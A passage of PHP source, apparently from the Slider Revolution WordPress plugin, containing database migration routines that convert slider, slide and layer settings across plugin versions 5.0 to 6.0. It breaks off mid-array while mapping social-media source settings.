	 */
	public function move_template_slider(){
		global $wpdb;

		$used = array(); //will store all template IDs that are used by post based Sliders, these can be deleted after the progress.
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = $sr->get_sliders(false);
		$temp_sliders = $sr->get_sliders(true);

		if(empty($temp_sliders) || !is_array($temp_sliders)){
			return true;
		}
		//as we do not have any template sliders, we do not need to run further here

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				if($slider->get_param('source_type', 'gallery') !== 'posts'){
					continue;
				}
				//only check Slider with type of posts

				$slider_id = $slider->get_id();
				$template_id = $slider->get_param('slider_template_id', 0);

				if($template_id > 0){
					//initialize slider to see if it exists. Then copy over the Template Sliders Slides to the Post Based Slider
					foreach($temp_sliders as $t_slider){
						if($t_slider->get_id() === $template_id){
							//copy over the slides
							//get all slides from template, then copy to Slider

							$slides = $t_slider->get_slides(false, true);

							if(!empty($slides) && is_array($slides)){
								foreach($slides as $slide){
									$slide_id = $slide->get_id();
									$slider->copy_slide_to_slider(array('slider_id' => $slider_id, 'slide_id' => $slide_id));
								}
							}

							$static_id = $sl->get_static_slide_id($template_id);
							if($static_id !== false){
								$record = $wpdb->get_row($wpdb->prepare("SELECT * FROM " . $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES . " WHERE id = %d", $static_id), ARRAY_A);
								unset($record['id']);
								$record['slider_id'] = $slider_id;

								$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, $record);
							}

							$used[$template_id] = $t_slider;
							break;
						}
					}
				}

			}
		}

		if(!empty($used)){
			foreach($used as $tid => $t_slider){
				$t_slider->delete_slider();
			}
		}

		//translate all other template Sliders to normal sliders and set them to post based
		$temp_sliders = $sr->get_sliders(true);

		if(!empty($temp_sliders) && is_array($temp_sliders)){
			foreach($temp_sliders as $slider){
				$slider->update_params(array('template' => 'false', 'source_type' => 'posts'));
			}
		}

	}

	/**
	 * add missing new animation fields to the layers as all animations would be broken without this
	 * @since 5.0
	 */
	public function add_animation_settings_to_layer($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //false == do it on all Sliders

		$in_animations = $this->get_animations();
		$out_animations = $this->get_end_animations();
		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$slides = $slider->get_slides(false, true);
				$static_id = $sl->get_static_slide_id($slider->get_id());
				if($static_id !== false){
					$msl = new RevSliderSlide();
					if(strpos($static_id, 'static_') === false){
						$static_id = 'static_'. $static_id; //$slider->get_id();
					}
					$msl->init_by_id($static_id);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}

				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$layers = $slide->get_layers();
						if(!empty($layers) && is_array($layers)){
							foreach($layers as $lk => $layer){
								if($this->get_val($layer, 'x_start', false) === false){
									//values are not set, set them now through
									$anim_values = array();
									$animation = $this->get_val($layer, 'animation', 'tp-fade');
									$endanimation = $this->get_val($layer, 'endanimation', 'tp-fade');
									$animation = ($animation == 'fade') ? 'tp-fade' : $animation;
									$endanimation = ($endanimation == 'fade') ? 'tp-fade' : $endanimation;

									foreach($in_animations as $handle => $anim){
										if($handle == $animation){
											$anim_values = (isset($anim['params'])) ? $anim['params'] : '';
											if(!is_array($anim_values)){
												$anim_values = json_encode($anim_values);
											}

											break;
										}
									}

									$anim_endvalues = array();
									foreach($out_animations as $handle => $anim){
										if($handle == $endanimation){
											$anim_endvalues = (isset($anim['params'])) ? $anim['params'] : '';
											if(!is_array($anim_endvalues)){
												$anim_endvalues = json_encode($anim_endvalues);
											}

											break;
										}
									}

									$layers[$lk]['x_start'] = $this->get_val($anim_values, 'movex', 'inherit');
									$layers[$lk]['x_end'] = $this->get_val($anim_endvalues, 'movex', 'inherit');
									$layers[$lk]['y_start'] = $this->get_val($anim_values, 'movey', 'inherit');
									$layers[$lk]['y_end'] = $this->get_val($anim_endvalues, 'movey', 'inherit');
									$layers[$lk]['z_start'] = $this->get_val($anim_values, 'movez', 'inherit');
									$layers[$lk]['z_end'] = $this->get_val($anim_endvalues, 'movez', 'inherit');

									$layers[$lk]['x_rotate_start'] = $this->get_val($anim_values, 'rotationx', 'inherit');
									$layers[$lk]['x_rotate_end'] = $this->get_val($anim_endvalues, 'rotationx', 'inherit');
									$layers[$lk]['y_rotate_start'] = $this->get_val($anim_values, 'rotationy', 'inherit');
									$layers[$lk]['y_rotate_end'] = $this->get_val($anim_endvalues, 'rotationy', 'inherit');
									$layers[$lk]['z_rotate_start'] = $this->get_val($anim_values, 'rotationz', 'inherit');
									$layers[$lk]['z_rotate_end'] = $this->get_val($anim_endvalues, 'rotationz', 'inherit');

									$layers[$lk]['scale_x_start'] = $this->get_val($anim_values, 'scalex', 'inherit');
									if(intval($layers[$lk]['scale_x_start']) > 10){
										$layers[$lk]['scale_x_start'] /= 100;
									}

									$layers[$lk]['scale_x_end'] = $this->get_val($anim_endvalues, 'scalex', 'inherit');
									if(intval($layers[$lk]['scale_x_end']) > 10){
										$layers[$lk]['scale_x_end'] /= 100;
									}

									$layers[$lk]['scale_y_start'] = $this->get_val($anim_values, 'scaley', 'inherit');
									if(intval($layers[$lk]['scale_y_start']) > 10){
										$layers[$lk]['scale_y_start'] /= 100;
									}

									$layers[$lk]['scale_y_end'] = $this->get_val($anim_endvalues, 'scaley', 'inherit');
									if(intval($layers[$lk]['scale_y_end']) > 10){
										$layers[$lk]['scale_y_end'] /= 100;
									}

									$layers[$lk]['skew_x_start'] = $this->get_val($anim_values, 'skewx', 'inherit');
									$layers[$lk]['skew_x_end'] = $this->get_val($anim_endvalues, 'skewx', 'inherit');
									$layers[$lk]['skew_y_start'] = $this->get_val($anim_values, 'skewy', 'inherit');
									$layers[$lk]['skew_y_end'] = $this->get_val($anim_endvalues, 'skewy', 'inherit');
									$layers[$lk]['opacity_start'] = $this->get_val($anim_values, 'captionopacity', 'inherit');
									$layers[$lk]['opacity_end'] = $this->get_val($anim_endvalues, 'captionopacity', 'inherit');

								}
							}
							$slide->set_layers_raw($layers);
							$slide->save_layers();
						}
					}
				}
			}
		}
	}

	/**
	 * add/change layers options
	 * @since 5.0
	 */
	public function change_settings_on_layers($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$slides = $slider->get_slides(false, true);
				$staticID = $sl->get_static_slide_id($slider->get_id());
				if($staticID !== false){
					$msl = new RevSliderSlide();
					if(strpos($staticID, 'static_') === false){
						$staticID = 'static_'. $staticID; //$slider->get_id();
					}
					$msl->init_by_id($staticID);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}
				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$layers = $slide->get_layers();
						if(!empty($layers) && is_array($layers)){
							$do_save = false;
							foreach($layers as $lk => $layer){
								$link_slide = $this->get_val($layer, 'link_slide', false);
								if($link_slide != false && $link_slide !== 'nothing'){
									//link to slide/scrollunder is set, move it to actions
									$layers[$lk]['layer_action'] = new stdClass();
									switch($link_slide){
										case 'link':
											$link = $this->get_val($layer, 'link');
											$link_open_in = $this->get_val($layer, 'link_open_in');
											$layers[$lk]['layer_action']->action = array('a' => 'link');
											$layers[$lk]['layer_action']->link_type = array('a' => 'a');
											$layers[$lk]['layer_action']->image_link = array('a' => $link);
											$layers[$lk]['layer_action']->link_open_in = array('a' => $link_open_in);

											unset($layers[$lk]['link']);
											unset($layers[$lk]['link_open_in']);
										case 'next':
											$layers[$lk]['layer_action']->action = array('a' => 'next');
											break;
										case 'prev':
											$layers[$lk]['layer_action']->action = array('a' => 'prev');
											break;
										case 'scroll_under':
											$scrollunder_offset = $this->get_val($layer, 'scrollunder_offset');
											$layers[$lk]['layer_action']->action = array('a' => 'scroll_under');
											$layers[$lk]['layer_action']->scrollunder_offset = array('a' => $scrollunder_offset);

											unset($layers[$lk]['scrollunder_offset']);
											break;
										default: //its an ID, so its a slide ID
											$layers[$lk]['layer_action']->action = array('a' => 'jumpto');
											$layers[$lk]['layer_action']->jump_to_slide = array('a' => $link_slide);
											break;
									}
									$layers[$lk]['layer_action']->tooltip_event = array('a' => 'click');

									unset($layers[$lk]['link_slide']);

									$do_save = true;
								}
							}

							if($do_save){
								$slide->set_layers_raw($layers);
								$slide->save_layers();
							}
						}
					}
				}
			}
		}
	}

	/**
	 * add missing new style fields to the layers as all layers would be broken without this
	 * @since 5.0
	 */
	public function add_style_settings_to_layer($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false
		$styles = $this->get_captions_array();

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$slides = $slider->get_slides(false, true);
				$staticID = $sl->get_static_slide_id($slider->get_id());
				if($staticID !== false){
					$msl = new RevSliderSlide();
					if(strpos($staticID, 'static_') === false){
						$staticID = 'static_'. $staticID; //$slider->get_id();
					}
					$msl->init_by_id($staticID);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}
				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$layers = $slide->get_layers();
						if(!empty($layers) && is_array($layers)){
							foreach($layers as $lk => $layer){
								$static_styles = (array) $this->get_val($layer, 'static_styles', array());
								$def_val = (array) $this->get_val($layer, 'deformation', array());
								$defh_val = (array) $this->get_val($layer, 'deformation-hover', array());

								if(empty($def_val)){
									//add parallax always!
									$def_val['parallax'] = $this->get_val($layer, 'parallax_level', '-');
									$layers[$lk]['deformation'] = $def_val;

									//check for selected style in styles, then add all deformations to the layer
									$cur_style = $this->get_val($layer, 'style', '');

									if(trim($cur_style) == ''){
										continue;
									}

									$wws = false;

									foreach($styles as $style){
										if($style['handle'] == '.tp-caption.'. $cur_style){
											$wws = $style;
											break;
										}
									}

									if($wws == false){
										continue;
									}

									$css_idle = '';
									$css_hover = '';

									$wws['params'] = (array) $wws['params'];
									$wws['hover'] = (array) $wws['hover'];
									$wws['advanced'] = (array) $wws['advanced'];

									if(isset($wws['params']['font-family'])){
										$def_val['font-family'] = $wws['params']['font-family'];
									}

									if(isset($wws['params']['padding'])){
										$raw_pad = $wws['params']['padding'];
										if(!is_array($raw_pad)){
											$raw_pad = explode(' ', $raw_pad);
										}

										switch(count($raw_pad)){
											case 1:
												$raw_pad = array($raw_pad[0], $raw_pad[0], $raw_pad[0], $raw_pad[0]);
												break;
											case 2:
												$raw_pad = array($raw_pad[0], $raw_pad[1], $raw_pad[0], $raw_pad[1]);
												break;
											case 3:
												$raw_pad = array($raw_pad[0], $raw_pad[1], $raw_pad[2], $raw_pad[1]);
												break;
										}

										$def_val['padding'] = $raw_pad;
									}
									if(isset($wws['params']['font-style'])){
										$def_val['font-style'] = $wws['params']['font-style'];
									}

									if(isset($wws['params']['text-decoration'])){
										$def_val['text-decoration'] = $wws['params']['text-decoration'];
									}

									if(isset($wws['params']['background-color'])){
										if($this->is_rgb($wws['params']['background-color'])){
											$def_val['background-color'] = $this->rgba2hex($wws['params']['background-color']);
										}else{
											$def_val['background-color'] = $wws['params']['background-color'];
										}
									}
									if(isset($wws['params']['background-transparency'])){
										$def_val['background-transparency'] = $wws['params']['background-transparency'];
										if($def_val['background-transparency'] > 1){
											$def_val['background-transparency'] /= 100;
										}

									}else{
										if(isset($wws['params']['background-color'])){
											$def_val['background-transparency'] = $this->get_trans_from_rgba($wws['params']['background-color'], true);
										}

									}

									if(isset($wws['params']['border-color'])){
										if($this->is_rgb($wws['params']['border-color'])){
											$def_val['border-color'] = $this->rgba2hex($wws['params']['border-color']);
										}else{
											$def_val['border-color'] = $wws['params']['border-color'];
										}
									}

									if(isset($wws['params']['border-style'])){
										$def_val['border-style'] = $wws['params']['border-style'];
									}

									if(isset($wws['params']['border-width'])){
										$def_val['border-width'] = $wws['params']['border-width'];
									}

									if(isset($wws['params']['border-radius'])){
										$raw_bor = $wws['params']['border-radius'];
										if(!is_array($raw_bor)){
											$raw_bor = explode(' ', $raw_bor);
										}

										switch (count($raw_bor)){
										case 1:
											$raw_bor = array($raw_bor[0], $raw_bor[0], $raw_bor[0], $raw_bor[0]);
											break;
										case 2:
											$raw_bor = array($raw_bor[0], $raw_bor[1], $raw_bor[0], $raw_bor[1]);
											break;
										case 3:
											$raw_bor = array($raw_bor[0], $raw_bor[1], $raw_bor[2], $raw_bor[1]);
											break;
										}

										$def_val['border-radius'] = $raw_bor;
									}
									if(isset($wws['params']['x'])){
										$def_val['x'] = $wws['params']['x'];
									}

									if(isset($wws['params']['y'])){
										$def_val['y'] = $wws['params']['y'];
									}

									if(isset($wws['params']['z'])){
										$def_val['z'] = $wws['params']['z'];
									}

									if(isset($wws['params']['skewx'])){
										$def_val['skewx'] = $wws['params']['skewx'];
									}

									if(isset($wws['params']['skewy'])){
										$def_val['skewy'] = $wws['params']['skewy'];
									}

									if(isset($wws['params']['scalex'])){
										$def_val['scalex'] = $wws['params']['scalex'];
									}

									if(isset($wws['params']['scaley'])){
										$def_val['scaley'] = $wws['params']['scaley'];
									}

									if(isset($wws['params']['opacity'])){
										$def_val['opacity'] = $wws['params']['opacity'];
									}

									if(isset($wws['params']['xrotate'])){
										$def_val['xrotate'] = $wws['params']['xrotate'];
									}

									if(isset($wws['params']['yrotate'])){
										$def_val['yrotate'] = $wws['params']['yrotate'];
									}

									if(isset($wws['params']['2d_rotation'])){
										$def_val['2d_rotation'] = $wws['params']['2d_rotation'];
									}

									if(isset($wws['params']['2d_origin_x'])){
										$def_val['2d_origin_x'] = $wws['params']['2d_origin_x'];
									}

									if(isset($wws['params']['2d_origin_y'])){
										$def_val['2d_origin_y'] = $wws['params']['2d_origin_y'];
									}

									if(isset($wws['params']['pers'])){
										$def_val['pers'] = $wws['params']['pers'];
									}

									if(isset($wws['params']['color'])){
										$static_styles['color'] = ($this->is_rgb($wws['params']['color'])) ? $this->rgba2hex($wws['params']['color']) : $static_styles['color'] = $wws['params']['color'];
									}

									if(isset($wws['params']['font-weight'])){
										$static_styles['font-weight'] = $wws['params']['font-weight'];
									}

									if(isset($wws['params']['font-size'])){
										$static_styles['font-size'] = $wws['params']['font-size'];
									}

									if(isset($wws['params']['line-height'])){
										$static_styles['line-height'] = $wws['params']['line-height'];
									}

									if(isset($wws['params']['font-family'])){
										$static_styles['font-family'] = $wws['params']['font-family'];
									}

									if(isset($wws['advanced']) && isset($wws['advanced']['idle']) && is_array($wws['advanced']['idle']) && !empty($wws['advanced']['idle'])){
										$css_idle = '{'. "\n";
										foreach($wws['advanced']['idle'] as $handle => $value){
											$value = implode(' ', $value);
											if($value !== ''){
												$css_idle .= '	'. $key .': '. $value .';'. "\n";
											}

										}
										$css_idle .= '}'. "\n";
									}

									if(isset($wws['hover']['color'])){
										if($this->is_rgb($wws['hover']['color'])){
											$defh_val['color'] = $this->rgba2hex($wws['hover']['color']);
										}else{
											$defh_val['color'] = $wws['hover']['color'];
										}
									}
									if(isset($wws['hover']['text-decoration'])){
										$defh_val['text-decoration'] = $wws['hover']['text-decoration'];
									}

									if(isset($wws['hover']['background-color'])){
										if($this->is_rgb($wws['hover']['background-color'])){
											$defh_val['background-color'] = $this->rgba2hex($wws['hover']['background-color']);
										}else{
											$defh_val['background-color'] = $wws['hover']['background-color'];
										}
									}
									if(isset($wws['hover']['background-transparency'])){
										$defh_val['background-transparency'] = $wws['hover']['background-transparency'];
										if($defh_val['background-transparency'] > 1){
											$defh_val['background-transparency'] /= 100;
										}

									}else{
										if(isset($wws['hover']['background-color'])){
											$defh_val['background-transparency'] = $this->get_trans_from_rgba($wws['hover']['background-color'], true);
										}

									}
									if(isset($wws['hover']['border-color'])){
										if($this->is_rgb($wws['hover']['border-color'])){
											$defh_val['border-color'] = $this->rgba2hex($wws['hover']['border-color']);
										}else{
											$defh_val['border-color'] = $wws['hover']['border-color'];
										}
									}
									if(isset($wws['hover']['border-style'])){
										$defh_val['border-style'] = $wws['hover']['border-style'];
									}

									if(isset($wws['hover']['border-width'])){
										$defh_val['border-width'] = $wws['hover']['border-width'];
									}

									if(isset($wws['hover']['border-radius'])){
										$raw_bor = $wws['hover']['border-radius'];
										if(!is_array($raw_bor)){
											$raw_bor = explode(' ', $raw_bor);
										}

										switch (count($raw_bor)){
										case 1:
											$raw_bor = array($raw_bor[0], $raw_bor[0], $raw_bor[0], $raw_bor[0]);
											break;
										case 2:
											$raw_bor = array($raw_bor[0], $raw_bor[1], $raw_bor[0], $raw_bor[1]);
											break;
										case 3:
											$raw_bor = array($raw_bor[0], $raw_bor[1], $raw_bor[2], $raw_bor[1]);
											break;
										}

										$defh_val['border-radius'] = $raw_bor;
									}
									if(isset($wws['hover']['x'])){
										$defh_val['x'] = $wws['hover']['x'];
									}

									if(isset($wws['hover']['y'])){
										$defh_val['y'] = $wws['hover']['y'];
									}

									if(isset($wws['hover']['z'])){
										$defh_val['z'] = $wws['hover']['z'];
									}

									if(isset($wws['hover']['skewx'])){
										$defh_val['skewx'] = $wws['hover']['skewx'];
									}

									if(isset($wws['hover']['skewy'])){
										$defh_val['skewy'] = $wws['hover']['skewy'];
									}

									if(isset($wws['hover']['scalex'])){
										$defh_val['scalex'] = $wws['hover']['scalex'];
									}

									if(isset($wws['hover']['scaley'])){
										$defh_val['scaley'] = $wws['hover']['scaley'];
									}

									if(isset($wws['hover']['opacity'])){
										$defh_val['opacity'] = $wws['hover']['opacity'];
									}

									if(isset($wws['hover']['xrotate'])){
										$defh_val['xrotate'] = $wws['hover']['xrotate'];
									}

									if(isset($wws['hover']['yrotate'])){
										$defh_val['yrotate'] = $wws['hover']['yrotate'];
									}

									if(isset($wws['hover']['2d_rotation'])){
										$defh_val['2d_rotation'] = $wws['hover']['2d_rotation'];
									}

									if(isset($wws['hover']['2d_origin_x'])){
										$defh_val['2d_origin_x'] = $wws['hover']['2d_origin_x'];
									}

									if(isset($wws['hover']['2d_origin_y'])){
										$defh_val['2d_origin_y'] = $wws['hover']['2d_origin_y'];
									}

									if(isset($wws['hover']['speed'])){
										$defh_val['speed'] = $wws['hover']['speed'];
									}

									if(isset($wws['hover']['easing'])){
										$defh_val['easing'] = $wws['hover']['easing'];
									}

									if(isset($wws['advanced']) && isset($wws['advanced']['hover']) && is_array($wws['advanced']['hover']) && !empty($wws['advanced']['hover'])){
										$css_hover = '{'. "\n";
										foreach($wws['advanced']['hover'] as $handle => $value){
											$value = implode(' ', $value);
											if($value !== ''){
												$css_hover .= '	'. $key .': '. $value .';'. "\n";
											}

										}
										$css_hover .= '}'. "\n";

									}

									if(!isset($layers[$lk]['inline'])){
										$layers[$lk]['inline'] = array();
									}

									if($css_idle !== ''){
										$layers[$lk]['inline']['idle'] = $css_idle;
									}
									if($css_hover !== ''){
										$layers[$lk]['inline']['idle'] = $css_hover;
									}

									$layers[$lk]['deformation'] = $def_val;
									$layers[$lk]['deformation-hover'] = $defh_val;
									$layers[$lk]['static_styles'] = $static_styles;
								}
							}

							$slide->set_layers_raw($layers);
							$slide->save_layers();
						}
					}
				}
			}
		}
	}

	/**
	 * add settings to layer depending on how
	 * @since 5.0
	 */
	public function add_general_settings($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = ($sliders === false) ? $sr->get_sliders() : $sliders = array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			$fonts = get_option('tp-google-fonts', array());

			foreach($sliders as $slider){
				$settings = $slider->get_settings();
				$bg_freeze = $slider->get_param('parallax_bg_freeze', 'off');
				$google_fonts = $slider->get_param('google_font', array());

				if(!isset($settings['version']) || version_compare($settings['version'], 5.0, '<')){
					if(empty($google_fonts) && !empty($fonts)){
						//add all punchfonts to the Slider
						foreach($fonts as $font){
							$google_fonts[] = $font['url'];
						}
						$slider->update_params(array('google_font' => $google_fonts));
					}
					$settings['version'] = 5.0;
					$slider->update_settings(array('version' => 5.0));
				}

				if($bg_freeze == 'on'){
					//deprecated here, moved to slides so remove check here and add on to slides
					$slider->update_params(array('parallax_bg_freeze' => 'off'));
				}

				$slides = $slider->get_slides(false, true);
				$staticID = $sl->get_static_slide_id($slider->get_id());
				if($staticID !== false){
					$msl = new RevSliderSlide();
					if(strpos($staticID, 'static_') === false){
						$staticID = 'static_'. $staticID; //$slider->get_id();
					}
					$msl->init_by_id($staticID);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}
				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						if($bg_freeze == 'on'){
							//set bg_freeze to on for slide settings
							$slide->set_param('slide_parallax_level', '1');
						}

						$slide->save_params();
					}
				}

			}
		}
	}

	/**
	 * remove static slide from Sliders if the setting was set to off
	 * @since 5.0
	 */
	public function remove_static_slides($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = ($sliders === false) ? $sr->get_sliders() : $sliders = array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$settings = $slider->get_settings();
				$enable_static_layers = $slider->get_param('enable_static_layers', 'off');

				if($enable_static_layers == 'off'){
					$staticID = $sl->get_static_slide_id($slider->get_id());
					if($staticID !== false){
						$slider->delete_static_slide();
					}
				}

			}
		}
	}

	/**
	 * change general settings of all sliders to 5.0.7
	 * @since 5.0.7
	 */
	public function change_general_settings_5_0_7($sliders = false){
		//handle the new option for shuffle in combination with first alternative slide
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = ($sliders === false) ? $sr->get_sliders() : $sliders = array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$settings = $slider->get_settings();

				if(!isset($settings['version']) || version_compare($settings['version'], '5.0.7', '<')){
					$start_with_slide = $slider->get_param('start_with_slide', '1');

					if($start_with_slide !== '1'){
						$slider->update_params(array('start_with_slide_enable' => 'on'));
					}

					$settings['version'] = '5.0.7';
					$slider->update_settings(array('version' => '5.0.7'));
				}

			}
		}
	}

	/**
	 * change image id of all slides to 5.1.1
	 * @since 5.1.1
	 */
	public function change_slide_settings_5_1_1($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$sliders = ($sliders === false) ? $sr->get_sliders() : $sliders = array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$slides = $slider->get_slides(false, true);
				$staticID = $sl->get_static_slide_id($slider->get_id());
				if($staticID !== false){
					$msl = new RevSliderSlide();
					if(strpos($staticID, 'static_') === false){
						$staticID = 'static_'. $staticID; //$slider->get_id();
					}
					$msl->init_by_id($staticID);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}

				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						//get image url, then get the image id and save it in image_id

						$image_id = $slide->get_param('image_id', '');
						$image = $slide->get_param('image', '');

						$ml_id = '';
						if($image !== ''){
							$ml_id = $this->get_image_id_by_url($image);
						}
						if($image == '' && $image_id == ''){
							continue;
						}
						//if we are a video and have no cover image, do nothing

						if($ml_id !== false && $ml_id !== $image_id){
							$urlImage = wp_get_attachment_image_src($ml_id, 'full');

							$slide->set_param('image_id', $ml_id);
							$slide->save_params();
						}

					}
				}

			}
		}
	}

	/**
	 * change svg path of all layers from the upload folder if 5.2.5.3+ was installed
	 * @since 5.2.5.5
	 */
	public function change_layers_svg_5_2_5_5($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();
		$upload_dir = wp_upload_dir();
		$path = $upload_dir['baseurl'] .'/revslider/assets/svg/';

		if($sliders === false){
			//do it on all Sliders
			$sliders = $sr->get_sliders();
		}else{
			$sliders = array($sliders);
		}

		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$slides = $slider->get_slides(false, true);

				$staticID = $sl->get_static_slide_id($slider->get_id());
				if($staticID !== false){
					$msl = new RevSliderSlide();
					if(strpos($staticID, 'static_') === false){
						$staticID = 'static_'. $staticID; //$slider->get_id();
					}
					$msl->init_by_id($staticID);
					if($msl->get_id() !== ''){
						$slides = array_merge($slides, array($msl));
					}
				}

				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$layers = $slide->get_layers();
						if(!empty($layers) && is_array($layers)){
							foreach($layers as $lk => $layer){
								if(isset($layer['type']) && $layer['type'] == 'svg'){
									if(isset($layer['svg']) && isset($layer['svg']->src)){
										//change newer path to older path
										if(strpos($layers[$lk]['svg']->src, $path) !== false){
											$layers[$lk]['svg']->src = str_replace($path, RS_PLUGIN_URL .'public/assets/assets/svg/', $layers[$lk]['svg']->src);
										}
									}
								}
							}

							$slide->set_layers_raw($layers);
							$slide->save_layers();
						}
					}
				}
			}
		}
	}

	/**
	 * Change Slider Settings to version 6.0
	 * @since 6.0
	 */
	public function change_slider_settings_to_6_0($sliders = false){
		$sr = new RevSliderSlider();
		$color_picker = new RSColorpicker();
		
		$sliders = ($sliders === false) ? $sr->get_sliders() : array($sliders); //do it on all Sliders if false

		if(!empty($sliders) && is_array($sliders)){
			$nav = new RevSliderNavigation();
			$navigations = $nav->get_all_navigations_builder();

			foreach($sliders as $slider){
				$ms = array();
				$amountparams = 0;
				foreach($slider as $_slider){
					$amountparams++;
					if($amountparams > 5) break; //5 is enough
				}

				if(version_compare($slider->get_setting('version', '1.0.0'), '6.0.0', '<')){
					/* SLIDER BASICS */
					//$ms['alias']		= $slider->get_param('alias');
					$ms['id']			= $slider->get_param('slider_id');
					$ms['shortcode']	= $slider->get_param('shortcode', '');
					$ms['layouttype']	= $slider->get_param('slider_type', 'fullwidth');
					$ms['type']			= $slider->get_param('slider-type', 'standard');
					$ms['sourcetype']	= (in_array($slider->get_param('source_type'), array('post', 'posts', 'specific_posts', 'current_post'))) ? 'post' : $slider->get_param('source_type', 'gallery');
					$ms['sourcetype']	= ($ms['sourcetype'] == 'woocommerce') ? 'woo' : $ms['sourcetype'];
					
					//$ms['title']		= $slider->get_param('title');
					$ms['googleFont']	= $slider->get_param('google_font', array());
					
					$postSubType = (in_array($slider->get_param('source_type'), array('post', 'posts', 'specific_posts', 'current_post'))) ? $slider->get_param('source_type', false) : 'post';
					$postSubType = ($postSubType == 'posts') ? 'post' : $postSubType;
					
					/* ADD ON MIGRATIONS */
					$ms['addOns'] = $this->migrate_slider_AddOn($slider);

					if($amountparams > 5){
						$sldmh = $slider->get_param('min_height');
						$sldh = $slider->get_param('height', 900);
						$sldh = ($sldmh > $sldh) ? $sldmh : $sldh;
						
						$min_height = ($ms['layouttype'] === 'fullscreen') ? $slider->get_param('fullscreen_min_height') : $sldmh;
						$min_height = ($ms['layouttype'] === 'fullwidth' && $sldmh !== '') ? $sldh : $min_height;
						
						/* SLIDER SOURCE */
						$ms['source'] = array(
							'gallery' => array(),
							'post' => array(
								'excerptLimit' => $slider->get_param('excerpt_limit', 55),
								'maxPosts' => $slider->get_param('max_slider_posts', 30),
								'fetchType' => $slider->get_param('fetch_type', 'cat_tag'),
								'category' => $slider->get_param('post_category', ''),
								'sortBy' => $slider->get_param('post_sortby', 'ID'),
								'types' => $slider->get_param('post_types', 'post'),
								'list' => $slider->get_param('posts_list', ''),
								'sortDirection' => $slider->get_param('posts_sort_direction', 'DESC'),
								'subType' => ($postSubType === false) ? 'post' : $postSubType,
							),
							'woo' => array(
								'excerptLimit' => $slider->get_param('excerpt_limit_product', 55),
								'maxProducts' => $slider->get_param('max_slider_products', 30),
								'featuredOnly' => $this->_truefalse($slider->get_param('featured_only', false)),
								'inStockOnly' => $this->_truefalse($slider->get_param('instock_only', false)),
								'category' => $slider->get_param('product_category', ''),
								'sortBy' => $slider->get_param('product_sortby', 'ID'),
								'types' => $slider->get_param('product_types', 'product'),
								'sortDirection' => $slider->get_param('product_sort_direction', 'DESC'),
								'regPriceFrom' => $slider->get_param('reg_price_from', ''),
								'regPriceTo' => $slider->get_param('reg_price_to', ''),
								'salePriceFrom' => $slider->get_param('sale_price_from', ''),
								'salePriceTo' => $slider->get_param('sale_price_to', ''),
							),
							'instagram' => array(
								'count' => $slider->get_param('instagram-count', ''),
								'hashTag' => $slider->get_param('instagram-hash-tag', ''),
								'transient' => $slider->get_param('instagram-transient', 1200),
								'type' => $slider->get_param('instagram-type', 'user'),
								'userId' => $slider->get_param('instagram-user-id', ''),
							),
							'facebook' => array(
								'album' => $slider->get_param('facebook-album', ''),
								'appId' => $slider->get_param('facebook-app-id', ''),
								'appSecret' => $slider->get_param('facebook-app-secret', ''),
								'count' => $slider->get_param('facebook-count', ''),
								'transient' => $slider->get_param('facebook-transient', 1200),
								'typeSource' => $slider->get_param('facebook-type-source', 'album'),
							),
							'flickr' => array(
								'apiKey' => $slider->get_param('flickr-api-key', ''),
								'count' => $slider->get_param('flickr-count', ''),
								'galleryURL' => $slider->get_param('flickr-gallery-url', ''),
								'groupURL' => $slider->get_param('flickr-group-url', ''),
								'photoSet' => $slider->get_param('flickr-photoset', ''),
								'transient' => $slider->get_param('flickr-transient', 1200),
								'type' => $slider->get_param('flickr-type', 'publicphotos'),
								'userURL' => $slider->get_param('flickr-user-url', ''),
							),
							'twitter' => array(
								'accessSecret' => $slider->get_param('twitter-access-secret', ''),
								'accessToken' => $slider->get_param('twitter-access-token', ''),
								'consumerKey' => $slider->get_param('twitter-consumer-key', ''),
								'consumerSecret' => $slider->get_param('twitter-consumer-secret', ''),
								'count' => $slider->get_param('twitter-count', ''),
